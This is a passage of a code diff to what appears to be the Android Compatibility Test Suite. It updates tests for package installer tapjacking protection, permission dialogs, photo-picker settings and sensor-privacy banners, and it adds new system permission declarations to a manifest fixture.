-                        assertTrue("Expected " + fieldName + " value to be < " + CUR_DEVELOPMENT
-                                + ", got " + fieldValue, fieldValue < CUR_DEVELOPMENT);
-                    }
-                    declaredCodenames.add(fieldNameWithoutUnderscores);
-                    assertTrue("Expected " + fieldNameWithoutUnderscores
-                                        + " to be declared in Build.VERSION.KNOWN_CODENAMES",
-                            knownCodenames.contains(fieldNameWithoutUnderscores));
-                }
-            }
-        }
-
-        HashSet<String> diff = new HashSet<>(knownCodenames);
-        diff.removeAll(declaredCodenames);
-        assertTrue(
-                "Expected all elements in Build.VERSION.KNOWN_CODENAMES to be declared in"
-                        + " Build.VERSION_CODES, found " + diff, diff.isEmpty());
-
-        if (!Build.VERSION.CODENAME.equals("REL")) {
-            assertTrue("In-development CODENAME must be declared in Build.VERSION.KNOWN_CODENAMES",
-                Build.VERSION.KNOWN_CODENAMES.contains(Build.VERSION.CODENAME));
-        }
-    }
-
-    /**
      * Verify that SDK versions are bounded by both high and low expected
      * values.
      */
diff --git a/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt b/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
index 9686c6d..09f64f3 100644
--- a/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
+++ b/tests/tests/packageinstaller/packagescheme/src/android/packageinstaller/packagescheme/cts/PackageSchemeTestBase.kt
@@ -33,6 +33,8 @@
 import androidx.test.uiautomator.BySelector
 import androidx.test.uiautomator.UiDevice
 import androidx.test.uiautomator.UiObject2
+import androidx.test.uiautomator.UiScrollable
+import androidx.test.uiautomator.UiSelector
 import androidx.test.uiautomator.Until
 import com.google.common.truth.Truth.assertThat
 import com.google.common.truth.Truth.assertWithMessage
@@ -144,8 +146,14 @@
         var latch: CountDownLatch? = null
         mScenario = ActivityScenario.launch(intent)
         mScenario!!.onActivity {
-            val button: UiObject2?
+            var button: UiObject2?
             val btnName: String
+            // Need to scroll the screen to get to the buttons on some form factors
+            // (e.g. on a watch).
+            val scrollable = UiScrollable(UiSelector().scrollable(true))
+            if (scrollable.exists()) {
+                scrollable.flingToEnd(10)
+            }
             if (packageHasVisibility && needTargetApp) {
                 button = mUiDevice.wait(
                     Until.findObject(getBySelector(NEGATIVE_BTN_ID)), DEFAULT_TIMEOUT)
@@ -156,7 +164,7 @@
                 btnName = "OK"
             }
             assertWithMessage("$btnName not found").that(button).isNotNull()
-            button.click()
+            button?.click()
             latch = it.mLatch
         }
         latch!!.await()
diff --git a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
index 4b11f12..e23e25a 100644
--- a/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
+++ b/tests/tests/packageinstaller/tapjacking/AndroidTest.xml
@@ -31,6 +31,13 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="appops set android.packageinstaller.tapjacking.cts REQUEST_INSTALL_PACKAGES allow" />
         <option name="teardown-command" value="appops set android.packageinstaller.tapjacking.cts REQUEST_INSTALL_PACKAGES default" />
+        <!-- Ensure the UI is ready and in an idle state before running tests -->
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <option name="run-command" value="wm dismiss-keyguard" />
+        <!-- Collapse notifications -->
+        <option name="run-command" value="cmd statusbar collapse" />
+        <!-- dismiss all system dialogs before launch test -->
+        <option name="run-command" value="am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
diff --git a/tests/tests/packageinstaller/tapjacking/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/tapjacking/res/layout/overlay_activity.xml
index 2f91bab..f01ceb1 100644
--- a/tests/tests/packageinstaller/tapjacking/res/layout/overlay_activity.xml
+++ b/tests/tests/packageinstaller/tapjacking/res/layout/overlay_activity.xml
@@ -19,7 +19,7 @@
               android:layout_width="match_parent"
               android:layout_height="match_parent"
               android:background="@drawable/border"
-              android:padding="8dp" >
+              android:padding="48dp" >
 
     <TextView android:id="@+id/overlay_description"
               android:layout_width="wrap_content"
diff --git a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
index 9b2ffce..486b635 100644
--- a/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
+++ b/tests/tests/packageinstaller/tapjacking/src/android/packageinstaller/tapjacking/cts/TapjackingTest.java
@@ -17,6 +17,7 @@
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 
 import android.app.Activity;
 import android.content.Context;
@@ -24,20 +25,21 @@
 import android.net.Uri;
 import android.os.Bundle;
 import android.platform.test.annotations.AppModeFull;
-import android.support.test.uiautomator.By;
-import android.support.test.uiautomator.BySelector;
-import android.support.test.uiautomator.UiDevice;
-import android.support.test.uiautomator.UiObject2;
-import android.support.test.uiautomator.Until;
 import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.core.app.ActivityScenario;
 import androidx.test.filters.MediumTest;
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
 import java.util.regex.Pattern;
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -107,21 +109,60 @@
     public void testTapsDroppedWhenObscured() throws Exception {
         Log.i(LOG_TAG, "launchPackageInstaller");
         launchPackageInstaller();
+
         UiObject2 installButton = waitForButton(INSTALL_BUTTON_ID);
         assertNotNull("Install button not shown", installButton);
+
         Log.i(LOG_TAG, "launchOverlayingActivity");
         launchOverlayingActivity();
         assertNotNull("Overlaying activity not started",
                 waitForView(mPackageName, OVERLAY_ACTIVITY_TEXT_VIEW_ID));
+
         installButton = waitForButton(INSTALL_BUTTON_ID);
-        assertNotNull("Cannot find install button below overlay activity", installButton);
-        Log.i(LOG_TAG, "installButton.click");
-        installButton.click();
-        assertFalse("Tap on install button succeeded", mUiDevice.wait(
-            Until.gone(getBySelector(INSTALL_BUTTON_ID)),WAIT_FOR_UI_TIMEOUT));
+        if (installButton != null) {
+            Log.i(LOG_TAG, "installButton.click");
+            installButton.click();
+            assertFalse("Tap on install button succeeded", mUiDevice.wait(
+                Until.gone(getBySelector(INSTALL_BUTTON_ID)), WAIT_FOR_UI_TIMEOUT));
+        }
+
         mUiDevice.pressBack();
     }
 
+    @Test
+    @Ignore("b/322018861")
+    public void testTapsWhenNotObscured() throws Exception {
+        Log.i(LOG_TAG, "launchPackageInstaller");
+        launchPackageInstaller();
+
+        UiObject2 installButton = waitForButton(INSTALL_BUTTON_ID);
+        assertNotNull("Install button not shown", installButton);
+
+        Log.i(LOG_TAG, "launchOverlayingActivity");
+        launchOverlayingActivity();
+        assertNotNull("Overlaying activity not started",
+            waitForView(mPackageName, OVERLAY_ACTIVITY_TEXT_VIEW_ID));
+
+        installButton = waitForButton(INSTALL_BUTTON_ID);
+        if (installButton != null) {
+            Log.i(LOG_TAG, "installButton.click");
+            installButton.click();
+            assertFalse("Tap on install button succeeded", mUiDevice.wait(
+                    Until.gone(getBySelector(INSTALL_BUTTON_ID)), WAIT_FOR_UI_TIMEOUT));
+        }
+
+        mUiDevice.pressBack();
+
+        // Overlay should be gone and we require that the button can be found.
+        installButton = waitForButton(INSTALL_BUTTON_ID);
+        assertNotNull("Cannot find install button", installButton);
+
+        Log.i(LOG_TAG, "installButton.click after overlay removed");
+        installButton.click();
+        assertTrue("Tap on install button failed", mUiDevice.wait(
+            Until.gone(getBySelector(INSTALL_BUTTON_ID)), WAIT_FOR_UI_TIMEOUT));
+    }
+
     @After
     public void tearDown() throws Exception {
         mUiDevice.pressHome();
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 021ec19..b4e2b0a 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -37,6 +37,13 @@
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
         <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+        <!-- Ensure the UI is ready and in an idle state before running tests -->
+        <option name="run-command" value="input keyevent KEYCODE_WAKEUP" />
+        <option name="run-command" value="wm dismiss-keyguard" />
+        <!-- Collapse notifications -->
+        <option name="run-command" value="cmd statusbar collapse" />
+        <!-- dismiss all system dialogs before launch test -->
+        <option name="run-command" value="am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS" />
     </target_preparer>
 
     <!-- Load additional APKs onto device -->
diff --git a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
index 5533063..59cd528 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BasePermissionTest.kt
@@ -104,6 +104,11 @@
         @JvmStatic
         protected val isAutomotive =
             packageManager.hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)
+        @JvmStatic
+        protected val isAutomotiveSplitscreen = isAutomotive &&
+            packageManager.hasSystemFeature(
+                    /* PackageManager.FEATURE_CAR_SPLITSCREEN_MULTITASKING */
+                    "android.software.car.splitscreen_multitasking")
     }
 
     @get:Rule
diff --git a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
index 571ba47..5eb8f7a 100644
--- a/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/BaseUsePermissionTest.kt
@@ -101,6 +101,7 @@
             "com.android.permissioncontroller:id/permission_allow_selected_button"
         const val DONT_SELECT_MORE_BUTTON =
             "com.android.permissioncontroller:id/permission_dont_allow_more_selected_button"
+        const val EDIT_PHOTOS_BUTTON = "com.android.permissioncontroller:id/edit_selected_button"
         const val ALLOW_BUTTON =
                 "com.android.permissioncontroller:id/permission_allow_button"
         const val ALLOW_FOREGROUND_BUTTON =
diff --git a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
index fadaa27..73fe137 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PermissionTapjackingTest.kt
@@ -43,6 +43,9 @@
         // PermissionController for television uses a floating window.
         assumeFalse(isTv)
 
+        // Automotive split-screen multitasking uses multi-window mode
+        assumeFalse(isAutomotiveSplitscreen)
+
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
 
@@ -63,6 +66,9 @@
         // PermissionController for television uses a floating window.
         assumeFalse(isTv)
 
+        // Automotive split-screen multitasking uses multi-window mode
+        assumeFalse(isAutomotiveSplitscreen)
+
         assertAppHasPermission(ACCESS_FINE_LOCATION, false)
         requestAppPermissionsForNoResult(ACCESS_FINE_LOCATION) {}
 
diff --git a/tests/tests/permission3/src/android/permission3/cts/PhotoPickerPermissionTest.kt b/tests/tests/permission3/src/android/permission3/cts/PhotoPickerPermissionTest.kt
index 5b80880..90303d7 100644
--- a/tests/tests/permission3/src/android/permission3/cts/PhotoPickerPermissionTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/PhotoPickerPermissionTest.kt
@@ -31,8 +31,12 @@
 import android.provider.DeviceConfig.NAMESPACE_PRIVACY
 import androidx.test.filters.SdkSuppress
 import androidx.test.uiautomator.By
+import androidx.test.uiautomator.BySelector
+import androidx.test.uiautomator.StaleObjectException
+import androidx.test.uiautomator.Until
 import com.android.compatibility.common.util.SystemUtil.eventually
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.UiAutomatorUtils2
 import org.junit.AfterClass
 import org.junit.Assert.assertFalse
 import org.junit.Assert.assertNotNull
@@ -385,6 +389,26 @@
         assertAppHasPermission(ACCESS_MEDIA_LOCATION, false)
     }
 
+    @Test
+    fun testCanSelectPhotosInSettings() {
+        installPackage(APP_APK_PATH_LATEST)
+        navigateToIndividualPermissionSetting(READ_MEDIA_IMAGES)
+        click(By.res(SELECT_RADIO_BUTTON))
+        click(By.res(EDIT_PHOTOS_BUTTON))
+        waitForIdle()
+        eventually {
+            clickImageOrVideo()
+        }
+        clickAllow()
+    }
+
+    @Test
+    fun testEditButtonNotShownInSettingsWhenNoPhotosRequested() {
+        installPackage(APP_APK_PATH_LATEST)
+        navigateToIndividualPermissionSetting(READ_MEDIA_IMAGES)
+        waitUntilObjectGone(By.res(EDIT_PHOTOS_BUTTON))
+    }
+
     private fun clickImageOrVideo() {
         click(By.res(PhotoPickerUtils.getImageOrVideoResId(context)))
     }
@@ -401,4 +425,18 @@
     private fun findVideo(expected: Boolean) {
         findView(By.res(PhotoPickerUtils.getVideoResId(context)), expected)
     }
+
+    private fun waitUntilObjectGone(selector: BySelector) {
+        try {
+            if (UiAutomatorUtils2.getUiDevice().wait(Until.gone(selector), 20000L)) {
+                return
+            }
+        } catch (exception: StaleObjectException) {
+            // UiDevice.wait() may cause StaleObjectException if the {@link View} attached to
+            // UiObject2 is no longer in the view tree.
+            return
+        }
+
+        throw RuntimeException("view $selector is still visible after 20000ms")
+    }
 }
diff --git a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
index 1bc4251..abc75c8 100644
--- a/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
+++ b/tests/tests/permission3/src/android/permission3/cts/SensorBlockedBannerTest.kt
@@ -25,12 +25,14 @@
 import android.hardware.SensorPrivacyManager.Sensors.MICROPHONE
 import android.location.LocationManager
 import android.os.Build
+import android.safetycenter.SafetyCenterManager
 import android.provider.DeviceConfig
 import androidx.test.filters.SdkSuppress
 import androidx.test.uiautomator.By
 import com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity
 import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
 import java.util.regex.Pattern
+import org.junit.Assert.assertTrue
 import org.junit.After
 import org.junit.Assume
 import org.junit.Before
@@ -45,10 +47,13 @@
         const val LOCATION = -1
         const val WARNING_BANNER_ENABLED = "warning_banner_enabled"
         const val DELAY_MILLIS = 3000L
+        private const val CHANGE_BUTTON = "com.android.permissioncontroller:id/button_id"
+        private const val CAMERA_TOGGLE_LABEL = "Camera access"
     }
 
-    val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!!
-    val locationManager = context.getSystemService(LocationManager::class.java)!!
+    private val sensorPrivacyManager = context.getSystemService(SensorPrivacyManager::class.java)!!
+    private val locationManager = context.getSystemService(LocationManager::class.java)!!
+
     private val originalEnabledValue = callWithShellPermissionIdentity {
         DeviceConfig.getString(DeviceConfig.NAMESPACE_PRIVACY,
                 WARNING_BANNER_ENABLED, false.toString())
@@ -89,12 +94,12 @@
         val intent = Intent(Intent.ACTION_MANAGE_PERMISSION_APPS)
                 .putExtra(Intent.EXTRA_PERMISSION_GROUP_NAME, permissionGroup)
                 .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
+                .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK)
         runWithShellPermissionIdentity {
             context.startActivity(intent)
         }
         val bannerTitle = permToTitle.getOrDefault(sensor, "Break")
         waitFindObject(By.text(getPermissionControllerString(bannerTitle)))
-        pressBack()
     }
 
     private fun runSensorTest(sensor: Int) {
@@ -125,6 +130,29 @@
         runSensorTest(LOCATION)
     }
 
+    @Test
+    fun testCardClickOpenPrivacyControls() {
+        Assume.assumeTrue(sensorPrivacyManager.supportsSensorToggle(CAMERA))
+        val safetyCenterManager = context.getSystemService(SafetyCenterManager::class.java)
+        Assume.assumeNotNull(safetyCenterManager)
+        var isSafetyCenterEnabled = false
+        runWithShellPermissionIdentity {
+            isSafetyCenterEnabled = safetyCenterManager!!.isSafetyCenterEnabled
+        }
+        Assume.assumeTrue(isSafetyCenterEnabled)
+        // Disable global camera toggle
+        val blocked = isSensorPrivacyEnabled(CAMERA)
+        if (!blocked) {
+            setSensor(CAMERA, true)
+        }
+        // verify sensor card is shown for blocked camera
+        navigateAndTest(CAMERA)
+        click(By.res(CHANGE_BUTTON))
+        // Enable global camera toggle and verify
+        waitFindObject(By.text(CAMERA_TOGGLE_LABEL)).click()
+        assertTrue(!isSensorPrivacyEnabled(CAMERA))
+    }
+
     private fun setSensor(sensor: Int, enable: Boolean) {
         if (sensor == LOCATION) {
             runWithShellPermissionIdentity {
diff --git a/tests/tests/permissionpolicy/res/raw/android_manifest.xml b/tests/tests/permissionpolicy/res/raw/android_manifest.xml
index 83c658b..17ebf92 100644
--- a/tests/tests/permissionpolicy/res/raw/android_manifest.xml
+++ b/tests/tests/permissionpolicy/res/raw/android_manifest.xml
@@ -1628,6 +1628,15 @@
         android:description="@string/permdesc_cameraOpenCloseListener"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows camera access by Headless System User 0 when device is running in
+            HSUM Mode.
+    @hide -->
+    <permission android:name="android.permission.CAMERA_HEADLESS_SYSTEM_USER"
+        android:permissionGroup="android.permission-group.UNDEFINED"
+        android:label="@string/permlab_cameraHeadlessSystemUser"
+        android:description="@string/permdesc_cameraHeadlessSystemUser"
+        android:protectionLevel="signature" />
+
     <!-- ====================================================================== -->
     <!-- Permissions for accessing the device sensors                           -->
     <!-- ====================================================================== -->
@@ -2020,6 +2029,16 @@
     <permission android:name="android.permission.MANAGE_TEST_NETWORKS"
         android:protectionLevel="signature" />
 
+    <!-- Allows direct access to the <RemoteAuth>Service interfaces.
+         @hide -->
+    <permission android:name="android.permission.MANAGE_REMOTE_AUTH"
+                android:protectionLevel="signature" />
+
+    <!-- Allows direct access to the <RemoteAuth>Service authentication methods.
+         @hide -->
+    <permission android:name="android.permission.USE_REMOTE_AUTH"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi @hide Allows applications to read Wi-Fi credential.
          <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.READ_WIFI_CREDENTIAL"
@@ -2150,6 +2169,13 @@
     <permission android:name="android.permission.MANAGE_LOWPAN_INTERFACES"
         android:protectionLevel="signature|privileged" />
 
+    <!-- @SystemApi @hide Allows changing Thread network state and access to Thread network
+        credentials such as Network Key and PSKc.
+        <p>Not for use by third-party applications.
+        @FlaggedApi("com.android.net.thread.flags.thread_enabled") -->
+    <permission android:name="android.permission.THREAD_NETWORK_PRIVILEGED"
+                android:protectionLevel="signature|privileged" />
+
     <!-- #SystemApi @hide Allows an app to bypass Private DNS.
          <p>Not for use by third-party applications.
          TODO: publish as system API in next API release. -->
@@ -2193,6 +2219,14 @@
     <permission android:name="android.permission.MANAGE_ETHERNET_NETWORKS"
         android:protectionLevel="signature" />
 
+    <!-- Allows system apps to call methods to register itself as a mDNS offload engine.
+        <p>Not for use by third-party or privileged applications.
+        @SystemApi
+        @hide This should only be used by system apps.
+    -->
+    <permission android:name="android.permission.REGISTER_NSD_OFFLOAD_ENGINE"
+        android:protectionLevel="signature" />
+
     <!-- ======================================= -->
     <!-- Permissions for short range, peripheral networks -->
     <!-- ======================================= -->
@@ -2251,7 +2285,16 @@
          @hide
     -->
     <permission android:name="android.permission.SUSPEND_APPS"
-        android:protectionLevel="signature|role" />
+        android:protectionLevel="signature|role|verifier" />
+
+    <!-- @SystemApi
+         @hide
+         @FlaggedApi("android.content.pm.quarantined_enabled")
+         Allows an application to quarantine other apps, which will prevent
+         them from running without explicit user action.
+    -->
+    <permission android:name="android.permission.QUARANTINE_APPS"
+        android:protectionLevel="signature|verifier" />
 
     <!-- Allows applications to discover and pair bluetooth devices.
          <p>Protection level: normal
@@ -3935,6 +3978,13 @@
     <permission android:name="android.permission.READ_WALLPAPER_INTERNAL"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allow apps to always update wallpaper by sending data.
+        @SystemApi
+        @hide
+    -->
+    <permission android:name="android.permission.ALWAYS_UPDATE_WALLPAPER"
+        android:protectionLevel="internal|role" />
+
     <!-- ===================================================== -->
     <!-- Permissions for changing the system clock / time zone -->
     <!-- ===================================================== -->
@@ -4385,6 +4435,10 @@
     <permission android:name="android.permission.READ_LOGS"
         android:protectionLevel="signature|privileged|development" />
 
+    <!-- Allows an application to access the data in Dropbox-->
+    <permission android:name="android.permission.READ_DROPBOX_DATA"
+        android:protectionLevel="signature|privileged|development" />
+
     <!-- Configure an application for debugging.
     <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.SET_DEBUG_APP"
@@ -4472,7 +4526,7 @@
         @hide
         @SystemApi -->
     <permission android:name="android.permission.STATUS_BAR_SERVICE"
-        android:protectionLevel="signature" />
+        android:protectionLevel="signature|recents" />
 
     <!-- Allows an application to bind to third party quick settings tiles.
          <p>Should only be requested by the System, should be required by
@@ -4536,7 +4590,7 @@
          @hide
     -->
     <permission android:name="android.permission.INTERNAL_SYSTEM_WINDOW"
-        android:protectionLevel="signature|module" />
+        android:protectionLevel="signature|module|recents" />
 
     <!-- Allows an application to avoid all toast rate limiting restrictions.
          <p>Not for use by third-party applications.
@@ -5394,6 +5448,12 @@
     <permission android:name="android.permission.GRANT_RUNTIME_PERMISSIONS"
         android:protectionLevel="signature|installer|verifier" />
 
+    <!-- @SystemApi Allows an application to launch the settings page which manages various
+         permissions.
+         @hide -->
+    <permission android:name="android.permission.LAUNCH_PERMISSION_SETTINGS"
+                android:protectionLevel="signature|privileged" />
+
     <!-- @SystemApi Allows an app that has this permission and the permissions to install packages
          to request certain runtime permissions to be granted at installation.
          @hide -->
@@ -5495,6 +5555,11 @@
     <permission android:name="android.permission.DELIVER_COMPANION_MESSAGES"
                 android:protectionLevel="normal" />
 
+    <!-- Allows an application to use companion transports
+         @hide -->
+    <permission android:name="android.permission.USE_COMPANION_TRANSPORTS"
+        android:protectionLevel="signature|module" />
+
     <!-- Allows an application to create new companion device associations.
          @SystemApi
          @hide -->
@@ -5789,6 +5854,13 @@
     <permission android:name="android.permission.MEDIA_CONTENT_CONTROL"
         android:protectionLevel="signature|privileged" />
 
+    <!-- Allows an application to control the routing of media apps.
+        <p>Only for use by role COMPANION_DEVICE_WATCH</p>
+        @FlaggedApi("com.android.media.flags.enable_privileged_routing_for_media_routing_control")
+        -->
+    <permission android:name="android.permission.MEDIA_ROUTING_CONTROL"
+                android:protectionLevel="signature|appop" />
+
     <!-- @SystemApi @hide Allows an application to set the volume key long-press listener.
          <p>When it's set, the application will receive the volume key long-press event
          instead of changing volume.</p>
@@ -5937,6 +6009,12 @@
         android:protectionLevel="signature|privileged|development|appop|retailDemo" />
     <uses-permission android:name="android.permission.PACKAGE_USAGE_STATS" />
 
+    <!-- @SystemApi @hide
+         @FlaggedApi("android.app.usage.report_usage_stats_permission")
+         Allows trusted system components to report events to UsageStatsManager -->
+    <permission android:name="android.permission.REPORT_USAGE_STATS"
+                android:protectionLevel="signature|module" />
+
     <!-- Allows an application to query broadcast response stats (see
          {@link android.app.usage.BroadcastResponseStats}).
          @SystemApi
@@ -6764,6 +6842,11 @@
     <permission android:name="android.permission.MANAGE_SMARTSPACE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows an application to access the smartspace service as a client.
+     @hide  <p>Not for use by third-party applications.</p> -->
+    <permission android:name="android.permission.ACCESS_SMARTSPACE"
+        android:protectionLevel="signature|privileged|development" />
+
     <!-- @SystemApi Allows an application to manage the wallpaper effects
       generation service.
     @hide  <p>Not for use by third-party applications.</p> -->
@@ -6924,7 +7007,7 @@
          {@link ActivityOptions#makeRemoteAnimation}
          @hide <p>Not for use by third-party applications. -->
     <permission android:name="android.permission.CONTROL_REMOTE_APP_TRANSITION_ANIMATIONS"
-        android:protectionLevel="signature|privileged" />
+        android:protectionLevel="signature|privileged|recents" />
 
     <!-- Allows an application to watch changes and/or active state of app ops.
          @hide <p>Not for use by third-party applications. -->
@@ -6987,6 +7070,13 @@
     <permission android:name="android.permission.MANAGE_ACCESSIBILITY"
         android:protectionLevel="signature|setup|recents|role" />
 
+    <!-- @FlaggedApi("com.android.server.accessibility.motion_event_observing")
+    @hide
+    @TestApi
+    Allows an accessibility service to observe motion events without consuming them. -->
+    <permission android:name="android.permission.ACCESSIBILITY_MOTION_EVENT_OBSERVING"
+        android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows an app to grant a profile owner access to device identifiers.
          <p>Not for use by third-party applications.
          @deprecated
@@ -7015,6 +7105,25 @@
                 android:description="@string/permdesc_fullScreenIntent"
                 android:protectionLevel="normal|appop" />
 
+    <!-- @SystemApi Required for the privileged assistant apps targeting
+         {@link android.os.Build.VERSION_CODES#VANILLA_ICE_CREAM}
+         that receive voice trigger from a sandboxed {@link HotwordDetectionService}.
+         <p>Protection level: signature|privileged|appop
+         @FlaggedApi("android.permission.flags.voice_activation_permission_apis")
+         @hide -->
+    <permission android:name="android.permission.RECEIVE_SANDBOX_TRIGGER_AUDIO"
+                android:protectionLevel="signature|privileged|appop" />
+
+    <!-- @SystemApi Required for the privileged assistant apps targeting
+         {@link android.os.Build.VERSION_CODES#VANILLA_ICE_CREAM}
+         that receive training data from a sandboxed {@link HotwordDetectionService} or
+         {@link VisualQueryDetectionService}.
+         <p>Protection level: internal|appop
+         @FlaggedApi("android.permission.flags.voice_activation_permission_apis")
+         @hide -->
+    <permission android:name="android.permission.RECEIVE_SANDBOXED_DETECTION_TRAINING_DATA"
+                android:protectionLevel="internal|appop" />
+
     <!-- @SystemApi Allows requesting the framework broadcast the
          {@link Intent#ACTION_DEVICE_CUSTOMIZATION_READY} intent.
          @hide -->
@@ -7200,6 +7309,13 @@
     <permission android:name="android.permission.MODIFY_TOUCH_MODE_STATE"
         android:protectionLevel="signature" />
 
+    <!-- @SystemApi Allows the holder to launch an Intent Resolver flow with custom presentation
+         and/or targets.
+         @FlaggedApi("android.service.chooser.support_nfc_resolver")
+         @hide -->
+    <permission android:name="android.permission.SHOW_CUSTOMIZED_RESOLVER"
+            android:protectionLevel="signature|privileged" />
+
     <!-- @hide Allows an application to get a People Tile preview for a given shortcut. -->
     <permission android:name="android.permission.GET_PEOPLE_TILE_PREVIEW"
         android:protectionLevel="signature|recents" />
@@ -7449,6 +7565,10 @@
     <permission android:name="android.permission.DELETE_STAGED_HEALTH_CONNECT_REMOTE_DATA"
                 android:protectionLevel="signature" />
 
+    <!-- @hide @TestApi Allows CTS tests running in Sandbox mode to launch activities -->
+    <permission android:name="android.permission.START_ACTIVITIES_FROM_SDK_SANDBOX"
+                android:protectionLevel="signature" />
+
     <!-- @SystemApi Allows the holder to call health connect migration APIs.
         @hide  -->
     <permission android:name="android.permission.MIGRATE_HEALTH_CONNECT_DATA"
@@ -7513,6 +7633,55 @@
     <permission android:name="android.permission.WRITE_FLAGS"
                 android:protectionLevel="signature" />
 
+    <!-- @hide @SystemApi
+         @FlaggedApi("android.app.get_binding_uid_importance")
+         Allows to get the importance of an UID that has a service
+         binding to the app.
+         <p>Protection level: signature|privileged
+    -->
+    <permission android:name="android.permission.GET_BINDING_UID_IMPORTANCE"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @hide Allows internal applications to manage displays.
+      <p>This means intercept internal signals about displays being (dis-)connected
+      and being able to enable or disable connected displays.
+      <p>Not for use by third-party applications.
+      <p>Protection level: signature
+    -->
+    <permission android:name="android.permission.MANAGE_DISPLAYS"
+        android:protectionLevel="signature" />
+
+   <!-- @SystemApi Allows apps to reset hotword training data egress count for testing.
+     <p>CTS tests will use UiAutomation.AdoptShellPermissionIdentity() to gain access.
+     <p>Protection level: signature
+     @FlaggedApi("android.service.voice.flags.allow_training_data_egress_from_hds")
+     @hide -->
+    <permission android:name="android.permission.RESET_HOTWORD_TRAINING_DATA_EGRESS_COUNT"
+        android:protectionLevel="signature" />
+
+    <!-- @SystemApi Allows an app to track all preparations for a complete factory reset.
+     <p>Protection level: signature|privileged
+     @FlaggedApi("android.permission.flags.factory_reset_prep_permission_apis")
+     @hide -->
+    <permission android:name="android.permission.PREPARE_FACTORY_RESET"
+        android:protectionLevel="signature|privileged" />
+
+    <!-- @SystemApi Allows focused window to override the default behavior of supported system keys.
+        The following keycodes are supported:
+        <p> KEYCODE_STEM_PRIMARY
+        <p>If an app is granted this permission and has a focused window, it will be allowed to
+           receive supported key events that are otherwise handled by the system. The app can choose
+           to consume the key events and trigger its own behavior, in which case the default key
+           behavior will be skipped.
+        <p>For example, KEYCODE_STEM_PRIMARY by default opens recent app launcher. If the foreground
+           fitness app is granted this permission, it can repurpose the KEYCODE_STEM_PRIMARY button
+           to pause/resume the current fitness session.
+        <p>Protection level: signature|privileged
+        @FlaggedApi("com.android.input.flags.override_key_behavior_permission_apis")
+        @hide -->
+    <permission android:name="android.permission.OVERRIDE_SYSTEM_KEY_BEHAVIOR_IN_FOCUSED_WINDOW"
+        android:protectionLevel="signature|privileged" />
+
     <!-- Attribution for Geofencing service. -->
     <attribution android:tag="GeofencingService" android:label="@string/geofencing_service"/>
     <!-- Attribution for Country Detector. -->
